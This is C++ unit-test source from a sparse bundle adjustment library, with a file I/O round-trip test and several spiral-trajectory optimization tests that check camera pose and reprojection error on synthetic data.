* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
// test fixture
// Bring in SBA and file IO
#include <sba/sba.h>
#include <sba/sba_file_io.h>
// Bring in gtest
#include <gtest/gtest.h>
// For random seed.
#include <time.h>
using namespace sba;
using namespace std;
class SBAFileIOTest : public :: testing::Test
{
public:
// actual SBA object
SysSBA sys;
// Vector containing the true point positions.
vector<Point, Eigen::aligned_allocator<Point> > points;
void SetUp();
};
void SBAFileIOTest::SetUp()
{
// Create camera parameters.
frame_common::CamParams cam_params;
cam_params.fx = 430; // Focal length in x
cam_params.fy = 430; // Focal length in y
cam_params.cx = 320; // X position of principal point
cam_params.cy = 240; // Y position of principal point
cam_params.tx = 0; // Baseline (no baseline since this is monocular)
// Define dimensions of the image.
int maxx = 640;
int maxy = 480;
// Create a plane containing a wall of points.
int npts_x = 10; // Number of points on the plane in x
int npts_y = 5; // Number of points on the plane in y
double plane_width = 5; // Width of the plane on which points are positioned (x)
double plane_height = 2.5; // Height of the plane on which points are positioned (y)
double plane_distance = 5; // Distance of the plane from the cameras (z)
for (int ix = 0; ix < npts_x ; ++ix)
{
for (int iy = 0; iy < npts_y ; ++iy)
{
// Create a point on the plane in a grid.
points.push_back(Point(plane_width/npts_x*(ix+.5), -plane_height/npts_y*(iy+.5), plane_distance, 1.0));
}
}
// Create nodes and add them to the system.
unsigned int nnodes = 5; // Number of nodes.
double path_length = 3; // Length of the path the nodes traverse.
unsigned int i = 0, j = 0;
for (i = 0; i < nnodes; ++i)
{
// Translate in the x direction over the node path.
Vector4d trans(i/(nnodes-1.0)*path_length, 0, 0, 1);
// Don't rotate.
Quaterniond rot(1, 0, 0, 0);
rot.normalize();
// Add a new node to the system.
sys.addNode(trans, rot, cam_params, false);
}
// Set the random seed.
unsigned short seed = (unsigned short)time(NULL);
seed48(&seed);
// Add points into the system, and add noise.
for (i = 0; i < points.size(); ++i)
{
// Add up to .5 points of noise.
Vector4d temppoint = points[i];
temppoint.x() += drand48() - 0.5;
temppoint.y() += drand48() - 0.5;
temppoint.z() += drand48() - 0.5;
sys.addPoint(temppoint);
}
Vector2d proj;
// Project points into nodes.
for (i = 0; i < points.size(); ++i)
{
for (j = 0; j < sys.nodes.size(); ++j)
{
// Project the point into the node's image coordinate system.
sys.nodes[j].setProjection();
sys.nodes[j].project2im(proj, points[i]);
// If valid (within the range of the image size), add the monocular
// projection to SBA.
if (proj.x() > 0 && proj.x() < maxx && proj.y() > 0 && proj.y() < maxy)
{
sys.addMonoProj(j, i, proj);
}
}
}
// Add noise to node position.
double transscale = 1.0;
double rotscale = 0.2;
// Don't actually add noise to the first node, since it's fixed.
for (i = 1; i < sys.nodes.size(); ++i)
{
Vector4d temptrans = sys.nodes[i].trans;
Quaterniond tempqrot = sys.nodes[i].qrot;
// Add error to both translation and rotation.
temptrans.x() += transscale*(drand48() - 0.5);
temptrans.y() += transscale*(drand48() - 0.5);
temptrans.z() += transscale*(drand48() - 0.5);
tempqrot.x() += rotscale*(drand48() - 0.5);
tempqrot.y() += rotscale*(drand48() - 0.5);
tempqrot.z() += rotscale*(drand48() - 0.5);
tempqrot.normalize();
sys.nodes[i].trans = temptrans;
sys.nodes[i].qrot = tempqrot;
// These methods should be called to update the node.
sys.nodes[i].normRot();
sys.nodes[i].setTransform();
sys.nodes[i].setProjection();
sys.nodes[i].setDr(true);
}
}
TEST_F(SBAFileIOTest, WriteRead)
{
// Create an empty SBA system.
// SysSBA temp_sys;
// SysSBA sys;
SysSBA testsys;
const char *filename = "file_io_test.out";
writeBundlerFile(filename, sys);
readBundlerFile(filename, testsys);
// Perform SBA with 10 iterations, an initial lambda step-size of 1e-3,
// and using CSPARSE.
testsys.doSBA(10, 1e-3, SBA_SPARSE_CHOLESKY);
testsys.doSBA(10, 1e-4, SBA_SPARSE_CHOLESKY);
for (unsigned int i = 0; i < points.size(); ++i)
{
EXPECT_NEAR(points[i].x(), testsys.tracks[i].point.x(), 0.2);
EXPECT_NEAR(points[i].y(), testsys.tracks[i].point.y(), 0.2);
EXPECT_NEAR(points[i].z(), testsys.tracks[i].point.z(), 0.2);
}
// Don't check nodes yet because we don't store node information. To do!
}
int main(int argc, char **argv)
{
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
<file_sep>/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2009, <NAME>, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the <NAME> nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
// test using a spiral trajectory
// not using gtest here
#include "sba/sba.h"
#include "sba/sba_setup.h"
#include "sba/sba_file_io.h"
using namespace Eigen;
using namespace sba;
#include <iostream>
#include <fstream>
#include <vector>
#include <sys/time.h>
using namespace std;
// Bring in gtest
#include <gtest/gtest.h>
//
// tolerance for floating-point tests
//
double tol = 1e-4;
#define EXPECT_EQ_TOL(a,b) { if (fabs((a)-(b)) > max(fabs(a),fabs(b))*tol) EXPECT_DOUBLE_EQ(a,b); }
#define EXPECT_EQ_ABS(a,b,t) { if (fabs((a)-(b)) > (t)) EXPECT_DOUBLE_EQ(a,b); }
// This is for calculating JtJ for a 2-node system
#if 0
TEST(TestSBA, SpiralSystem_2nodes_A)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
spiral_setup(sba, cpars, cps, 2.0, 10.0, // system, saved initial positions, near, far
0.6, kfang, -M_PI/2, 2*kfang/360.0, // point density, angle per frame, initial angle, number of cycles (frames),
0.0, 0.0, 0.0); // image noise (pixels), frame noise (meters)
cout << "[Spiral] Initial cost is " << sba.calcCost() << endl;
sba.printStats();
sba.nFixed = 1; // one fixed frame
sba.doSBA(0);
sba.setupSys(0.0);
sba.writeA("N2.5d.txt");
cout << endl << "[TestSBA] Wrote JtJ for 2 nodes" << endl << endl;
}
TEST(TestSBA, SpiralSystem_2nodes2_A)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 10.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
spiral_setup(sba, cpars, cps, 2.0, 10.0, // system, saved initial positions, near, far
0.6, kfang, -M_PI/2, 2*kfang/360.0, // point density, angle per frame, initial angle, number of cycles (frames),
0.0, 0.0, 0.0); // image noise (pixels), frame noise (meters)
cout << "[Spiral] Initial cost is " << sba.calcCost() << endl;
sba.printStats();
sba.nFixed = 1; // one fixed frame
sba.doSBA(0);
sba.setupSys(0.0);
sba.writeA("N2.10d.txt");
cout << endl << "[TestSBA] Wrote JtJ for 2 nodes" << endl << endl;
}
TEST(TestSBA, SpiralSystem_2nodes3_A)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 15.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
spiral_setup(sba, cpars, cps, 2.0, 10.0, // system, saved initial positions, near, far
0.6, kfang, -M_PI/2, 2*kfang/360.0, // point density, angle per frame, initial angle, number of cycles (frames),
0.0, 0.0, 0.0); // image noise (pixels), frame noise (meters)
cout << "[Spiral] Initial cost is " << sba.calcCost() << endl;
sba.printStats();
sba.nFixed = 1; // one fixed frame
sba.doSBA(0);
sba.setupSys(0.0);
sba.writeA("N2.15d.txt");
cout << endl << "[TestSBA] Wrote JtJ for 2 nodes" << endl << endl;
}
TEST(TestSBA, SpiralSystem_2nodes_vert_A)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 360.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
spiral_setup(sba, cpars, cps, 2.0, 10.0, // system, saved initial positions, near, far
0.6, kfang, -M_PI/2, 2*kfang/360.0, // point density, angle per frame, initial angle, number of cycles (frames),
0.0, 0.0, 0.0); // image noise (pixels), frame noise (meters)
cout << "[Spiral] Initial cost is " << sba.calcCost() << endl;
sba.printStats();
sba.nFixed = 1; // one fixed frame
sba.doSBA(0);
sba.setupSys(0.0);
sba.writeA("N2V.txt");
cout << endl << "[TestSBA] Wrote JtJ for 2 nodes" << endl << endl;
}
#endif
// test the transform functions
TEST(TestSBA, SpiralSystem_init90n)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
spiral_setup(sba, cpars, cps, 2.0, 10.0, // system, saved initial positions, near, far
0.6, kfang, -M_PI/2, 20*kfang/360.0, // point density, angle per frame, initial angle, number of cycles (frames),
0.0, 0.2, 0.01); // image noise (pixels), frame noise (meters)
cout << "[Spiral] Initial cost is " << sba.calcCost() << endl;
sba.printStats();
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
long long t0, t1;
t0 = utime();
sba.nFixed = 1; // one fixed frame
int niters = sba.doSBA(20);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("\n[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,15e-3); // should be within 15mm
// find number of projection measurements
int nms = 0;
for (int i=0; i<(int)sba.tracks.size(); ++i)
nms += sba.tracks[i].projections.size();
double cost = sba.calcCost();
cost = sqrt(cost/nms);
EXPECT_EQ_ABS(cost,0.0,0.01); // RMS pixel error should be low
}
// initial angle 0.0
TEST(TestSBA, SpiralSystem_init0)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
sba.useLocalAngles = true;
spiral_setup(sba, cpars, cps, 2.0, 10.0, // system, saved initial positions, near, far
0.6, kfang, 0.0, 20*kfang/360.0, // point density, angle per frame,
// initial angle, number of cycles (frames),
0.0, 0.05, 0.01); // image noise (pixels), frame noise (meters)
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
long long t0, t1;
t0 = utime();
sba.nFixed = 1; // one fixed frame
int niters = sba.doSBA(20);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("\n[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,5e-3); // should be within 5mm
double cost = sba.calcCost();
cout << cost << endl;
EXPECT_EQ_ABS(cost,0.0,0.01); // squared cost should be low, but it's not
}
// initial angle 0.0
TEST(TestSBA, SpiralSystem_global_init0)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
sba.useLocalAngles = false;
spiral_setup(sba, cpars, cps, 2.0, 10.0, // system, saved initial positions, near, far
0.6, kfang, 0.0, 20*kfang/360.0, // point density, angle per frame,
// initial angle, number of cycles (frames),
0.0, 0.05, 0.01); // image noise (pixels), frame noise (meters)
// check isValid flag
// (sba.tracks[0])[0].isValid = false;
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
long long t0, t1;
t0 = utime();
sba.nFixed = 1; // one fixed frame
int niters = sba.doSBA(20);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("\n[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,5e-3); // should be within 5mm
double cost = sba.calcCost();
cout << cost << endl;
EXPECT_EQ_ABS(cost,0.0,0.01); // squared cost should be low
}
// initial angle 0.0
TEST(TestSBA, SpiralSystem_init90)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
spiral_setup(sba, cpars, cps, 2.5, 10.0, // system, saved initial positions, near, far
0.6, kfang, M_PI/2, 20*kfang/360.0, // point density, angle per frame,
// initial angle, number of cycles (frames),
0.0, 0.05, 0.01); // image noise (pixels), frame noise (meters)
// check isValid flag
// (sba.tracks[0])[0].isValid = false;
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
long long t0, t1;
t0 = utime();
sba.nFixed = 1; // one fixed frame
int niters = sba.doSBA(20);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("\n[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,15e-3); // should be within 15mm
double cost = sba.calcCost();
cout << cost << endl;
EXPECT_EQ_ABS(cost,0.0,100.0); // squared cost should be low, but this test often fails...
}
// initial angle 180
// local angles don't work very well here
// seems to have trouble going through the singularity
TEST(TestSBA, SpiralSystem_init180)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
spiral_setup(sba, cpars, cps, 0.5, 10.0, // system, saved initial positions, near, far
0.6, kfang, M_PI, 20*kfang/360.0, // point density, angle per frame,
// initial angle, number of cycles (frames),
0.0, 0.05, 0.001); // image noise (pixels), frame noise (meters)
// check isValid flag
// (sba.tracks[0])[0].isValid = false;
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
long long t0, t1;
t0 = utime();
sba.nFixed = 1; // one fixed frame
int niters = sba.doSBA(20);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("\n[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,15e-3); // should be within 5mm
double cost = sba.calcCost();
cout << cost << endl;
EXPECT_EQ_ABS(cost,0.0,0.01); // squared cost should be low
}
// initial angle 180
TEST(TestSBA, SpiralSystem_global_init180)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
sba.useLocalAngles = false;
spiral_setup(sba, cpars, cps, 0.5, 10.0, // system, saved initial positions, near, far
0.6, kfang, M_PI, 20*kfang/360.0, // point density, angle per frame,
// initial angle, number of cycles (frames),
0.0, 0.05, 0.001); // image noise (pixels), frame noise (meters)
// check isValid flag
// (sba.tracks[0])[0].isValid = false;
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
long long t0, t1;
t0 = utime();
sba.nFixed = 1; // one fixed frame
int niters = sba.doSBA(20);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("\n[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,5e-3); // should be within 5mm
double cost = sba.calcCost();
cout << cost << endl;
EXPECT_EQ_ABS(cost,0.0,0.01); // squared cost should be low
}
// test the transform functions
TEST(TestSBA, SpiralSystem_global_init90n)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
sba.useLocalAngles = false;
spiral_setup(sba, cpars, cps, 2.0, 10.0, // system, saved initial positions, near, far
0.6, kfang, -M_PI/2, 20*kfang/360.0, // point density, angle per frame, initial angle, number of cycles (frames),
0.0, 0.2, 0.1); // image noise (pixels), frame noise (meters)
// check isValid flag
// (sba.tracks[0])[0].isValid = false;
cout << "[Spiral] Testing global angles" << endl;
cout << "[Spiral] Initial cost is " << sba.calcCost() << endl;
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
sba.nFixed = 1; // one fixed frame
sba.printStats();
long long t0, t1;
t0 = utime();
int niters = sba.doSBA(20);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("\n[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,15e-3); // should be within 15mm
// find number of projection measurements
int nms = 0;
for (int i=0; i<(int)sba.tracks.size(); ++i)
nms += sba.tracks[i].projections.size();
double cost = sba.calcCost();
cost = sqrt(cost/nms);
EXPECT_EQ_ABS(cost,0.0,0.01); // RMS pixel error should be low
}
// large system test
TEST(TestSBA, SpiralSystem_global_400)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
sba.useLocalAngles = false; // check with global angles
spiral_setup(sba, cpars, cps, 2.5, 10.0, // system, saved initial positions, near, far
0.6, kfang, -M_PI/2, 400*kfang/360.0, // point density, angle per frame,
// initial angle, number of cycles (frames),
0.5, 0.1, 0.01); // image noise (pixels), frame noise (meters), angle noise (qs)
sba.printStats();
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
long long t0, t1;
t0 = utime();
sba.nFixed = 1; // one fixed frame
int niters = sba.doSBA(1);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
double dist = 100000.0;
int bad = sba.removeBad(dist);
int gone = sba.reduceTracks();
cout << "[SBAsys] Removed " << bad << " projections with distance > " << dist << endl;
cout << "[SBAsys] Reduced " << gone << " tracks" << endl;
niters = sba.doSBA(5);
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("\n[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,5e-3); // should be within 5mm
// find number of projection measurements
int nms = 0;
for (int i=0; i<(int)sba.tracks.size(); ++i)
nms += sba.tracks[i].projections.size();
double cost = sba.calcCost();
cost = sqrt(cost/nms);
cout << "[TestSBA] Final rms pixel error: " << cost << endl;
EXPECT_EQ_ABS(cost,0.0,0.5); // squared cost should be low
}
// large system test
TEST(TestSBA, SpiralSystem_54)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 10.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
sba.useLocalAngles = true; // use incremental form
spiral_setup(sba, cpars, cps, 2.0, 5.0, // system, saved initial positions, near, far
3.0, kfang, -M_PI/2, 54*kfang/360.0, // point density, angle per frame,
// initial angle, number of cycles (frames),
0.5, 0.1, 0.01); // image noise (pixels), frame noise (meters), angle noise (qs)
sba.printStats();
// cout << "[SBAsys] Writing file" << endl;
// sba.writeFile("700cams.txt");
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
long long t0, t1;
t0 = utime();
sba.nFixed = 1; // one fixed frame
int niters = sba.doSBA(1);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
// very odd - leaving this out causes a segfault...
cout << endl << "We're here!!!!!!!!!!!!!!!!!!!!!" << endl << endl;
// this gives a segfault, need to debug
double dist = 10000.0;
int bad = sba.removeBad(dist);
int gone = sba.reduceTracks();
cout << "[SBAsys] Removed " << bad << " projections with distance > " << dist << endl;
cout << "[SBAsys] Reduced " << gone << " tracks" << endl;
niters = sba.doSBA(10,1.0e-4,true);
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("\n[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,5e-3); // should be within 5mm
// find number of projection measurements
int nms = 0;
for (int i=0; i<(int)sba.tracks.size(); ++i)
nms += sba.tracks[i].projections.size();
double cost = sba.calcCost();
cost = sqrt(cost/nms);
cout << "[TestSBA] Final rms pixel error: " << cost << endl;
EXPECT_EQ_ABS(cost,0.0,0.5); // squared cost should be low
}
// large system test
TEST(TestSBA, SpiralSystem_400)
{
// define a camera and bundle system
SysSBA sba;
Node::initDr();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
CamParams cpars = {300,300,320,240,0}; // 300 pix focal length
sba.useLocalAngles = true; // use incremental form
sba.csp.useCholmod = true;
spiral_setup(sba, cpars, cps, 3.0, 3.5, // system, saved initial positions, near, far
10.0, kfang, -M_PI/2, 400*kfang/360.0, // point density, angle per frame,
// initial angle, number of cycles (frames),
0.5, 0.1, 0.01); // image noise (pixels), frame noise (meters), angle noise (qs)
